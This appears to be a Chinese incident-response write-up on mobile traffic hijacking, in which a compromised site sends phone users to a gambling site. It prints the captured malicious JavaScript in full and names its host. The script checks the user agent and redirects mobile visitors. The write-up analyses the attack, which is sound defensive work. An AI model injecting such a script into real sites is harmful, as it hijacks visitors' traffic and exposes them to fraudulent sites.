第5篇：移动端劫持

PC端访问正常，移动端访问出现异常，比如插入弹窗、嵌入式广告和跳转到第三方网站，将干扰用户的正常使用，对用户体验造成极大伤害。

现象描述

部分网站用户反馈，手机打开网站就会跳转到赌博网站。

问题处理

访问网站首页，抓取到了一条恶意js： http://js.zadovosnjppnywuz.com/caonima.js

```
document.writeln("<script>");
document.writeln("function browserRedirect() {");
document.writeln("    var sUserAgent = navigator.userAgent.toLowerCase();");
document.writeln("    var bIsIpad = sUserAgent.match(/ipad/i) == \'ipad\';");
document.writeln("    var bIsIphoneOs = sUserAgent.match(/iphone os/i) == \'iphone os\';");
document.writeln("    var bIsMidp = sUserAgent.match(/midp/i) == \'midp\';");
document.writeln("    var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == \'rv:1.2.3.4\';");
document.writeln("    var bIsUc = sUserAgent.match(/ucweb/i) == \'ucweb\';");
document.writeln("    var bIsAndroid = sUserAgent.match(/android/i) == \'android\';");
document.writeln("    var bIsCE = sUserAgent.match(/windows ce/i) == \'windows ce\';");
document.writeln("    var bIsWM = sUserAgent.match(/windows mobile/i) == \'windows mobile\';");
document.writeln("    if (!(bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) ){");
document.writeln("        window.location.href=\'https://[redacted]com/\';");
document.writeln("    } else {");
document.writeln("        window.location.href=\'https://[redacted].com/\';");
document.writeln("    }");
document.writeln("}");
document.writeln("browserRedirect();");
document.writeln("</script>");
```

我们可以发现，攻击者通过这段js代码判断手机访问来源，劫持移动端（如手机、ipad、Android等）流量，跳转到https://262706.com。

进一步访问https://262706.com，跳转到赌博网站：

后续持续更新内容，将发布在公众号Bypass--，同时公众号提供了该项目的PDF版本，关注后回复"应急响应" 即可下载。


Bypass